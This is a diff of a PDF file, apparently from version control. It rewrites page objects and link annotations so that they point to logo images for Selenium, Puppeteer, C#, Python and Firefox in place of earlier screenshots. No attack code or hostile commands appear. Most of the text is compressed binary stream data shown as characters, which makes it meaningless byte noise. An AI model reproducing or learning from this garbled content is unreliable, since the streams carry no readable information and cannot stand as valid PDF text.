+JVkftT}VJ@5ѹx"u("nh"P8"o\uFU5TruT.JyrSmJ_}]Տ:M5 h1Fg<ѹhs IoAcSrӈmHCy90^$r&>W /8qr r/#I{bmR~KX%W vUq\Od~~+(p#އY>ZI E9%WL{ nۧ +ɠtAqp(?#_) tbʂH @{i8:0q+EB)VN;}~aB-|HswHEow]*Ee&|7x), m]k\f^1kfY:L1 G{`q2U2ڗd% j/䌞΋8aLu8ʈy4`Hbcȥً3 c έ¬,`d.Jw;% '#y Z29'y<+;e@UyK!U.OKDBh{VYl^WEπF'QmHK(l4AՌ'ҕPָNIKgUONUqSN*<4U hCvɥwF;^o[VFU r/h>NnV/yC_661. ,(p=Ab/- J!#keK_pp!GdAkܣpbl Xsڽ8c=^UkfVFE8\.Cy\s UFV-W.}Fj^f[(~Ƹc"[խD]sڲFfqFtb帻=bdʞ~S[j z$tF#qnE7<. t 3+Ϩ/Ytlq__|Rs D2ds&e.X `2_rlwo<(}keTVhA3#[ziK>Ҳm=w_nNwJF`%M3%c_7+(km(kP ׯ NqV:J'Nԭ];j_t3y0nw6x%m%on3~zG&ԇB5} uAN:<@Ͷ׆ɵiN3$c{F aZHRR*IAcNB@#ٖn 'in0Z'; OE9Y!/|61$U.:VјN?rJ_sd(\I2m }9 A"X bDfW=79]Y8Y +ί9m8'Yo E:zͬCiWr endstream endobj 456 0 obj @@ -7004,98 +5968,94 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 455 0 R /Resources 4 0 R -/Annots [ 457 0 R 458 0 R 459 0 R 460 0 R 461 0 R 462 0 R 463 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 457 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 319.979322 37.466457 307.576122 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BlackToWhite0.png) ->> +/Filter /FlateDecode +/Length 7626 >> +stream +xѯܸuW;DJhP$)$AЇq^6@ϙH}AƮm73)곧d?Lֶ|tKW˿!KݖO[֦=թ])|YJΩ>O~??/54e-NLOo钞_>ݾԖeʚ.%O[ٞa3a|pc-] Y1Ld5$u2TbkR* n*bMےg@,ԖbᦺRMJIW 7-5e@IYҨ-Vy^gjcJpSܭLbVFmaN`+Vbs$݊_sW `\Dm<^9a^}&C{ zLm5ЊLmEDݫ_̔A^mAp:Xrge^(`+b:Xl:m1{J^s[1wm1{kmAf至A;7렍 A[m^^(w9%l!S[xtS[x=\-`aVl1mX=fũ-lݐr͢)1O%cN6!b%c~h/s:1wncb-bmxc0=#GB#1"{$FdĈ="#1"{$FdĈiGbDH#1"{$D=#GbDH#!2#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0GbF0G=쑘0G=`d`#{#FHt{#F0Gb#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#&{#F0Gb#F0G=2=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑘0G=`dLG=`d#{$f`d#{#n#{#FH 0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑘iG=`d#{$f=`d#{#!3#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑐`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FH 0G=`dLG=`d#{$f=`d#{#1`d#{#n+zҹ7bj#Yp8\ç O޶GG98nS #1"{$D=#GbDH#!=#GbDH nĈ=#GbDHt{$FdĈ=#GBdG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#!3#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=L푐`d#{#n#{#Ht{#F0mGb#F0GHt{#F0n#{#Ht{#F0mGb#F0Gi=3F0G=L푘0G=`n`#{#Ht{#F0mGb#F0Gi=3F0G=L푘0G=`nLG=`dv{$f=`d#{#1`d#{#n#{#Ht{#F0mGBfG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#!3#F0G=3F0G=쑘0G=`dLG=`d#{$f=`d#{#1`d#{#n#{#FHt{#F0Gb#F0G=3F0G=쑐`d#{#n#{#FHt{#F0Gb#F0G=3 WAG{y(H;{K>X2?'Z{c4e7j+q9:t8OTmqS j-totiՏwou-{7nwW?/&˻w?[B}Ml_?ۯ?cr;m9{}kty?%6vsZ\?܏yށݏ=_k8z{m5q{l!?c1Oq竞i}~umm[zC.CdO|?/ac^i<$7rن_v8هꃎbǞd:{#]O=?{s;toyh1k,{C_ߗzÍn^n1bٿōi˙fs1[o껞; =T,jI߯qS{?nZ=Mh~"iCK3뗤Nr\V]\CWɏW +ݯDo0 s}XX+g?'c/Cg*|=cؘ6Ѿ>4 C~2!{OD{mrÓ4L'eHx,K5zUC_c#AU-9uW {|FWmp}=ny'04=s(^ {u]5v"j)R/mZ7/6+[Vտ~ݿۤ뒒OUn\lh32PJni^Ic._q1zOc6}E|} y}^N{?t"_AAzc>}ag4Io=ŏ{z?w,r] PǸ|c>?{k=Ɍ1}Ѹ}1C eF>e$vosӗޠ/Tqc1i^}p{OדFB(:1{ei28~oOhb缚ō:[ҫ¨r}UX?ψ`&x5<4bPqck9XOVU)ژڃ}hJOؠ%uހ缂?~Xj9ptOi==籮i>_Ӝ/]>qf=)0}[:LCZ`rR.0% t}{rǸ}YytOypkeqP?_>Q;;Ύx't/Ͻ/W/ N]烿/?Ma>8-Y-ERgIZ_ol{ҹw4q<x}/(K9zOJEOgS<֯&Ծ$'8fi ^ï5>a s[X?8zMG}'Bsp gU]jx׭xZ7׿[_8f| +8u_M׿>Word{+g~3ӏK;3nq)v8kIT%nA^O‹};C?__K?Fp-bּVoz~={[{d;=ߵ~Ͻm 97dQ +l +endstream endobj 458 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 319.979322 284.966457 269.729322 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BlackToWhite0.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 457 0 R +/Resources 4 0 R +/Annots [ 459 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 459 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 269.729322 297.637795 257.326122 ] +/Rect [ 39.386457 80.563602 39.386457 65.549202 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BlackToWhite0.png) +/URI (./Images/Photos/Selenium_Logo.png) >> >> endobj 460 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 201.511722 37.466457 189.108522 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BlackToWhite1.png) ->> +/Filter /FlateDecode +/Length 982 >> +stream +xW͎0)p.HE !i]qcN&i.V]wxlb5DP}}zvlCp?o߽ˠ./RQ"Z0QEEQq^}qq8"xvZYh|ۢIIA2_E:Ce BՁu Nɇ:-vw~}Ⱥ#>9١ڨYw kuh,1E%F aTPmǠls۷OLZq kP " ghJt#j@xK +N3X-A]o3 V"fO&whic"= O\<%E\t8׌{ Љ!X]V +N.2VUՁ*@(FQw**K[4`ߠ>UeLVK*'1 +H0pT 5'728[ZdPWe[o"m zU/i4β%6Ȭ5טS#5Oj3-xu\|k!A6"KUh;J +eIle/lK:VKc%\^EQ!PuѵԼ>%kN'u\݂}ƺ"43I3m.vҷoS;>utdա\Rr >&:/;KGk< d|y+ XtKt3#3A]`k#uTPi$)gFUB\ )Z9@ȣIAA`s1>q~I*7O'nOu 1` +endstream endobj 461 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 201.511722 271.466457 154.261722 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BlackToWhite1.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 460 0 R +/Resources 4 0 R +/Annots [ 462 0 R 463 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 462 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 154.261722 297.637795 141.858522 ] +/Rect [ 39.386457 771.023622 555.889134 231.326411 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BlackToWhite1.png) +/URI (./Images/Photos/Selenium_Logo.png) >> >> endobj @@ -7103,37 +6063,30 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 86.044122 37.466457 73.640922 ] +/Rect [ 297.637795 231.326411 297.637795 216.312011 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BlackToWhite2.png) +/URI (./Images/Photos/Selenium_Logo.png) >> >> endobj 464 0 obj << /Filter /FlateDecode -/Length 2654 +/Length 1842 >> stream -xn$}b~ 47AFrfz5F9:fE13ʋBflIQ D;s~9|:HyF%ϧG;F#LCRij-ZoχsHPJX.4緟ߜ@=\ь(*/Ntqmf>MϜ<}o bO`>#3(frw3R HO)RG':#8'_GtIOÏA?t|AHG@i)D[K VA -3wl=ہ -'wWi) ݈HKY4gS>XUxa$F{&ӻ_L#zPH6'OkssFk]O3~:+{Gsqd9ͱ^miʥ0+BVSe=׶iU~/o iibGB(0<^–qS`SvoMH۪L\c8]kd]:Es2MژpfsO懲f{Ax;D[+t6ރ -aG -cƱ "7rbׂ/)@ >sMZ{\X4fis6yͻp+5Ks! Tw61 -AOR -|"Z:sW\y{/Oa~|%$?Y2=hR=>K8yidVQ@:v_PVuP}hu3:R˄-sW6 ["pPF $S8ac^Ee/oPZPp vXLxNFzgem9`S0C} :qv`p:V@3t=6ҁ+ YѪ\ꖩ.ubn5(BTXi":Z -|qBxgq)v7bl@1 TVFe|wG/06=m>J1t95yRJIGHQ_@k1QFж+`EWXfq)8SI/S<8y&HZQ@'6AS=l53Y0T" J9kڀb@g:]ÊE%vFoih֍x(]մ5!_a{Џj;3̻H̊=y":ѧu>;;1m#"">1F|zVx>f8}Da=x0U -)i ^RYSk mGU ǮcXxBE-\+s@co]pk-&9Soux͔4FԎD_l<>|_r(eW)Rvn]IjDxh_l:]=~6uخ kCzٺbZ& h\5£_V\tFDwS Nс78]apЋP@s8=:|EBِ cFfhAya`G+m<0V^:p&U9/S 6R Bhc5_HޔKX"S: -0qw5J7>tNbW-1xZBRk¤:KYm3vG~vDtkժ z^d#AI, ,xII5fIebu5cb9KmYIL(y7{QPĜ yS"6qY'j@ ڼIaC5ZQjc:#EBG)r]iX ʎlU5thRuy[ZM{ qM ׈S^ lׂ];R_ xb$ozmyILJ4x4Mwæ!ޡi1 H +6ezNmaWZ_sl1)\׎D`ikZqZox 81I;Mʮѻe׾%鷙qwK7׬kdvQXE%<Ӌ - =ӽS}uLGQ:u]9[M_Ͻ& -mbnYp"Dg GgV>G\vAeAIQ ~51|ԴBtABqT&w1~_Mm. -a13%Z?D(]]N5-2N "fx %doX*}Om~E7ihпA u< -韯Lm!̔;%}e56/Cj-''kD\ atUP;c+ tR +xZKo7W:hi/\@у$G9@tȝ$;[v|8+*c +ϟw_vR'᧌h>6F>(EcȰq]~>$#!RZ .PQ QA?>)0ˊ"?~޽_^ey:x Ŏ')>6.G l?\1Q/Pk^3dL̲]ϖ8O@\_xT}Skr/| C^S[q8YmVs&ϮӀ]XRP-(4 XTB(c3k6ޢOb;lAǚ8DW,{_3(/PǺ&فW9N +|[癃iL +fؖ)C~b`TCO \C #\NU\_X`"q-xڤe8c+߯q}ZzRx"\gY#$,rO~u~|KqnIom:u0SK%X)LB <_SJg4 J"JfT@C./E/$&RhmY5`S{X5{$5vk=.Vx'0ƤCRBg+wK"+QV1b|e~y)7|aRtxQ'-{2[<z&> @@ -7152,262 +6105,273 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 239.966457 726.023622 ] +/Rect [ 39.386457 326.222022 39.386457 311.207622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BlackToWhite2.png) +/URI (./Images/Photos/Pupetteer_Logo.png) >> >> endobj 467 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 726.023622 297.637795 713.620422 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BlackToWhite2.png) ->> ->> -endobj -468 0 obj -<< -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 211.120278 37.466457 198.717078 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition1.png) ->> ->> -endobj -469 0 obj -<< /Filter /FlateDecode -/Length 626 +/Length 1815 >> stream -xU͎0 )d8i4.+  qLWv, *3ώ ')e`Ư,G'O,񝌇r`CJaHyMDcx> 猖{!S*F֙$ xf.N S`B W%Nљp=2҄#B -x<_/9s2ЕDаɦ0ÁgBA<["~O;9ܮ&<f "- S #<:"{e\<5#cmV=M5cw>Sxw+s5\L V *uM5{?4^.Ǖu +D]ɚu72ik빤.>ƕ' +¿ka)p^=Xt҉œIߑ;AL&:GF_,7Xr>nKRJRZ&*`^<&Y6spҙDTC:` -Vjr;shBG.͠J8^ r-|'yUI9|Rw?Gv +xZn6߯^mi7\@хl]EPym'Ajƺ"*bx-Yl]>^8sǟ<Njr#]f{gBpMJq|zzwA1ǹnBJfDޤbI>\ޮÿ= +*_!BeĈXFSi~zz<ꮫzIUG~{؞̶|O֨<5,n$CͩepbT zy~{L}/ u-46hcSD!'.x}f&^U:7 h Sř{@x,lB{R+~q:'졔AJ|mܶ=z^,to__:VI~E5sEd'_h- SuHX^oa#6)%(gD{pЧnma=@~t|8&>ڴ`@$I4lgBoc" 0ȢfLwYg@hqqG#a f,R)ff=bXQfh`&8͑Ufpt/xCу a!Os>E٨Z7 ӼpX F]T0xco$ҠR'%΀TogQ2uټ^?j"N)BM *i;,\l%Nm-&]ڴ enk%-7T}۔lĬF|܁&:0h}h2@,G `[.AN=~½p،@_l撆&=3{e5Qk=بsǼv#V {. .3l)CXvԁo/QnD 2=J] uƿ%TdLg2vELicMל;VZ&$YEq5$biHzgO&(Pt-1FG 3Fͽ7P BD3n`*=Ʀz4:y1[\w9#ޮ3@7bPT8 lKeZΌ37M-&<'Ī"H*kRxFRlx_ } __|߳~s=}xxO͙"ظ4L(ɝ^ gڙ8X|`*Ԙ%k ک' `G(E;fڥrfQ.γ`>g6Q^L̟>u5`U`$d{jU{03sfF endstream endobj -470 0 obj +468 0 obj << /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 469 0 R +/Contents 467 0 R /Resources 4 0 R -/Annots [ 471 0 R 472 0 R 473 0 R ] +/Annots [ 469 0 R 470 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj -471 0 obj +469 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 291.069768 ] +/Rect [ 39.386457 771.023622 256.886457 454.523622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition1.png) +/URI (./Images/Photos/Pupetteer_Logo.png) >> >> endobj -472 0 obj +470 0 obj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 291.069768 297.637795 278.666568 ] +/Rect [ 297.637795 454.523622 297.637795 439.509222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition1.png) +/URI (./Images/Photos/Pupetteer_Logo.png) >> >> endobj +471 0 obj +<< +/Filter /FlateDecode +/Length 1940 +>> +stream +xYݮ#5 S TUBq1X./dL. vIl?gy-Y=-NO9/h~R`SL{/|L.TwӇ7O.(8wMBHɌ֛8CL,}Zam+|m290鋗@EajHpϼ^O}/N"'*/3J]4;*=ncڶ3Z{D_37u^x?Վ#~Uu[;d}>dכ E&]v{:LZu5Nt6QZ3lf^>m݂>|{ &) mcY9d< t d#j!jd+wʢi[e<;Q9PdxwӖZ hļ +܇Ra i Y&z}m}˯ye7_`* b09Fp7hDK/zU[K, (}rudrP'Kq8NW1P$^rw艦Ch}.6n/14i08 yQՒ3puJzЪ2m'(U=JչG!!$aFn)g0Gɍԁqg<=$.JBdV@k>d q>ww&݈ƀ(DS.֝wԲ )7t([b8&& .Mo~Z.|1)[MF Gh53&^NO&ʗ7\`aM` yoʂGsS3=> R=odrF(q3bVnfW2o\=yO,}UYŔp@%͹1Ƣ7|sYS>8;8p;j|veE! R6-UF8DymAv[j"CV'lwĄ$̃)i߰"#ٖK +tv͑(9Wb:#E9<`HeBXqޜ[Jm7َnگvcPe[[M\Gշl_!NBOZ(Mj@:(]UP,i k{(7΍hFZ l|aơM#/< ?Ji7pX~B+ 9vOh|i VSv L?$7bWtawqɅ=a|ӄJDE6\ΚK-Adx|lj)8E&`TP +0/0?G3l(^ι <5Rռ1f)׮V +endstream +endobj +472 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 471 0 R +/Resources 4 0 R +/Annots [ 473 0 R 474 0 R 475 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj 473 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 210.448968 37.466457 198.045768 ] +/Rect [ 39.386457 463.173222 39.386457 448.158822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition0.png) +/URI (./Images/Photos/Csharp_Logo.png) >> >> endobj 474 0 obj << -/Filter /FlateDecode -/Length 734 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 463.173222 239.636457 238.173222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/Csharp_Logo.png) +>> >> -stream -xUM1 ϯ 'HU8,\V* q+v$+(|{_CL^?hF#lq2w'ǚ#Z&!@!hcL:;gX=OS4Á!Rd*=O ڨQ*GGPJ{|(9dqhB c&3xg=-̸|ɳ z}qͯ -\C"H:q+#: xVQp_oahotcZܽ4Xa_mqY\Sjy/m-y_}\L'+ykxƎƒ[6$2X662kV4 Y`Lc' T}Ci}|! 8p\'NrW~;p$4#v(nQp,=]eY@[@e^u>gz˧E~퓵~+^Hfq q"C.<:u1XrQr -N'5JyMV^wXYa<{d?aqc7GFe2zI<8h6=~TdK`%(5bHz'5P.\hh٧,@p9ۤPᳬ*l -endstream endobj 475 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 474 0 R -/Resources 4 0 R -/Annots [ 476 0 R 477 0 R 478 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 238.173222 297.637795 223.158822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/Csharp_Logo.png) +>> >> endobj 476 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 294.322589 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition0.png) ->> +/Filter /FlateDecode +/Length 1470 >> +stream +xXێ7 }u -ڢH )H:CZ$FP3w^3EG,J`!zgˇ$,ȏdws†B +B) 4F5FngJ}4K郟Z.@Pszz?^NNEՆ,#@o&E8fH ~7Jm$RcoES׀6,d^kWyw26Ex~u2َ[Vm#U>>L%&ֳeF[tK6𦋜FPϊ\);29tUj9a7s[,re-ɒ%x3Xjnv# 3XDye,5UApҔ)P*>Gh qgcÃKjx +rڰE"O +<(Ҟc[NE&ߡ&I>[)@9SBd!J[5vXLzMی`اwmȀ3ؓl{\LnYc2y30"0WZ!l +-y.7Y ֝#' hY't3>9ڥ<#1uJ y{FUVt_E{>e{KgMhNOˎvW(+F$__zqoڰ6DsSk1-@_ۭ-<#[{/ʁH)+.GNL_]sVDb3!q CO6#&"zO+<룎!*uj|4qN&9BhJЀ8mPET‡&ݞ_Yjߖw>Zt8႟62Zz;htz_cR{:@(+jNhg{x"7~hѲY']uJ +^:*W*m!_8A8C:Ntc\ ?u̔L! +endstream endobj 477 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 294.322589 297.637795 281.919389 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition0.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 476 0 R +/Resources 4 0 R +/Annots [ 478 0 R 479 0 R 480 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 478 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 185.794589 37.466457 173.391389 ] +/Rect [ 39.386457 493.202022 39.386457 478.187622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/TextRecognition2.png) +/URI (./Images/Photos/Python_Logo.png) >> >> endobj 479 0 obj << -/Filter /FlateDecode -/Length 737 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 493.202022 399.386457 133.202022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/Python_Logo.png) +>> >> -stream -xUM1 ϯ 'NHU8,\V* qh@ ;4i mGñ{q<`?2͹PB3&g):UA]0Td -Zr18x21G4}~LJe2%(`yn`5-[U$>K 0pA󧍕̰1p?6 | Oq&\,'|\xɼYA7*g+yS,x(BAm͎#||[<[/W.|fǮʆ,@E-rskߞgS[> mn~mo~llm<E,CEA)J_ O[ù^K=0b{}NMPt\}TDUp04`b;G.[RBuv&P\[?(Q + qGRן[E<꞊1< W;YN5 9BϾI=KjfzZ% -L_Uԅ{W$VAF +a` .;qj=#'86ja[+2t|O:c ^ -2̜ᚇ\k^'AWBte4A>?)RǾ+T2 -ēY/.ؔ-0:GgRNAfm^]s/.hY,_Zׅ?#Jd9KˠZ;^i3dA4|wdO -endstream endobj 480 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 479 0 R -/Resources 4 0 R -/Annots [ 481 0 R 482 0 R 483 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 133.202022 297.637795 118.187622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Photos/Python_Logo.png) +>> >> endobj 481 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 288.042364 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition2.png) ->> +/Filter /FlateDecode +/Length 1668 >> +stream +xY[7~ft`hҔ҇:O)$PIFZIvJlα7ܴ dhy>>`1 ++~ߧ0q}vr2Άم1_bQR0~?s +0֜|QivNoVÿh +߻ q ,~ ?뉡"Z-b],Vo?gA ET|c?o麟'enUlf֔5bӔߌ]:_vADPZBr%mQ*xM8†靖44'*qo@J଻Q29g\'xt#,(-ypX8^q#Qљ"CJ(mm 7裱DPyF@Guo]Wr-1*Or̀a1r>Jde 2hz]($y^\W{gIq= ș7"w.L+,Oĥ^KDC5YpB TH(Clw+QFױ.q]f#25X@Th] +UHʵL;+8!I \^ϕsccz2'=O֌{CnEŹ3$s9uD35Jja,7˾!#Z[ ޖY1Z{6LAo*؛"O4Ԗ )umܓ8ΒVg\klD卨n7vTAߓT4C=zI/1[o9d'TD-9NdN*[ +锎O~ovrQaX}"w-˭p93X0և/Y[# +iǐ>Fs/ [nM\It>meɂ驛\֜=Jeyf.<- gJ]`e d^E*,e$_C8Ԣ1i{ +pҷKzNݞǎoc0u`ʻ) +endstream endobj 482 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 297.637795 288.042364 297.637795 275.639164 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/TextRecognition2.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 481 0 R +/Resources 4 0 R +/Annots [ 483 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 483 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 179.514364 37.466457 167.111164 ] +/Rect [ 39.386457 365.579622 39.386457 350.565222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/720PTsunoda.png) +/URI (./Images/Photos/Firefox_logo_dev.png) >> >> endobj 484 0 obj << /Filter /FlateDecode -/Length 751 +/Length 937 >> stream -xUMo0 WLE"aۡۥ@ vpa`ԇc%MQt] E2%Qп$LL?YNeKv? [虌R$!YQ6D0|~ y? Zvm -0yFf TCO+,(eRBt4jrKP(\Xtk>V~!?ј&:(‘íFӇ7E<|nM"0 -ꢬCްqT71im޹!{ԾFmtgXgGܜk05\s]/2\X@m3YgB%Tx׸c#GJv1\T=[{gߞ1jTz -nrWwXi| 8@D3pUG$*@&zL*3hVX~ St`qEy>5U쫪*u͝ۻg/jWdS) dR9btd4"L޲~IvOW&/WPtz7(GI(6+ zkEKST(( F;qW4׳t!QKUr#)@f]H]ڜ<R_ ̢ +xWn0 )SIKP0l;tȰS;lCFITLɺMؒ(+ D&맟}&He #˓rBn/ݯ.ɚb&)K`wň?̆KyƨP#f lOm,Ψ݅>gOa<َ\dg۝`am&dpvlO^}{]+LC &Hso'|F{Y˼:&_/ +OX@Á7Uy |1 Q6;!'XINAr$O.=UrNw"8g0T0s^9\*KR: +c%b+ +qmCam9VOݪ$%$~4셫V {yZ0+xH%x _p`Ҵ̪$E )=bIڶ +h ܰ~'B +x_;0Ҧ<&hi1æ&4i'+bNWn/ܳACg/[#SZTi} lu66kKTj~Whd }Շ7/fLJc-[>膮GKm +R6/"L?\l*/_y:Gr endstream endobj 485 0 obj @@ -7417,7 +6381,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 484 0 R /Resources 4 0 R -/Annots [ 486 0 R 487 0 R 488 0 R 489 0 R 490 0 R 491 0 R ] +/Annots [ 486 0 R 487 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -7426,14 +6390,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 658.407837 ] +/Rect [ 39.386457 771.023622 555.889134 241.064963 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/720PTsunoda.png) +/URI (./Images/Photos/Firefox_logo_dev.png) >> >> endobj @@ -7441,120 +6405,116 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 658.407837 297.637795 646.004637 ] +/Rect [ 297.637795 241.064963 297.637795 226.050563 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/720PTsunoda.png) +/URI (./Images/Photos/Firefox_logo_dev.png) >> >> endobj 488 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 590.190237 37.466457 577.787037 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/1080PTsunoda.png) ->> +/Filter /FlateDecode +/Length 2222 >> +stream +xZۊ7}eJX C1!3;*uIջ;.;ݭK]OI2POJ×d)-]|9/|1ZaCP! +B)MikǯrRJi-@E PI y&Z~}TLPEr6Q%1I A8_FXW ~BK~/%gsR$k,Imf+D!X{|xOo_樲\:{=y'NVtE|_:.ޏcgck0S9:ީ^yj[;_v,PdMO%X2>EF_ xgdp\~ʍ2yt^d/z~ڂdgPB㦿o6SٱYiF%qD5pw]A)~2Q/i1j%'u$9wt\-J}e9%<ЏsK[&ǙDq*VvȦ'.k!yr5}4YIILgh<!!9-&8hN{jfAUM+c& wyj[tir8M2VM| 0hё hT +='s?hz2MJƤXyަQz [E!FZ ׼M-*%>ǻ[@UFp$, V r.nTŒTpc'{!qiXulI ٷR=9Hٚבsd$Q6mPmy(eށi 2>0F/ A17WΫѸ՗@3`U>{֠duf z[b#n+LF O$A<bxgIo|1?`|ZV"ql0535anMŭtF.Nddg47tv8^PgaSv­÷®a촍%ޏ a9 #?ySLp¹8m94]>0‚qTX~3Cƶt#U \e37\D6̀[F5s̀ +5B|ߖD%YɧtY`'(@rcMJIo-ҋX8I1>%.0Bb53["˴V7:C2ˊL& +]BAi$EEC%_x;!_ k(dAteE lY 5hmT| ɱ[W^&\?!P2"xEҔmq1 N5tKq`w[QtCN7 BHh} IisPxZ(05  /{^bF*@1FbQa ༌p~~rd6NX&4|CJ;H(0P4)yjUKo`G6FZBNVUaeOS +X5b`W &SDžKiK8ƺ +F(XKY] +]מýe {_szN%kCc$E!O.ia׎Ťs̸m t!e_c`8 W5+3yVچY-T=ZTb46Yжt'̆f 'ST2c'F6dDchӫ12 +u,{90J֌o!Cl̶@+s֏qτFC(Sw$̆ᾼv|t0"RH_%jiRSEpGܓ˅3L:Nd'{"Yt`oMM/U7n5׻REBlnֽV + uf~_ T쌍TWK7u:. |}G9rT4hR[E mR :ub#:iFa ,6=NuRa.؃dZpxY_?a|]Ji7pLmȔ;K 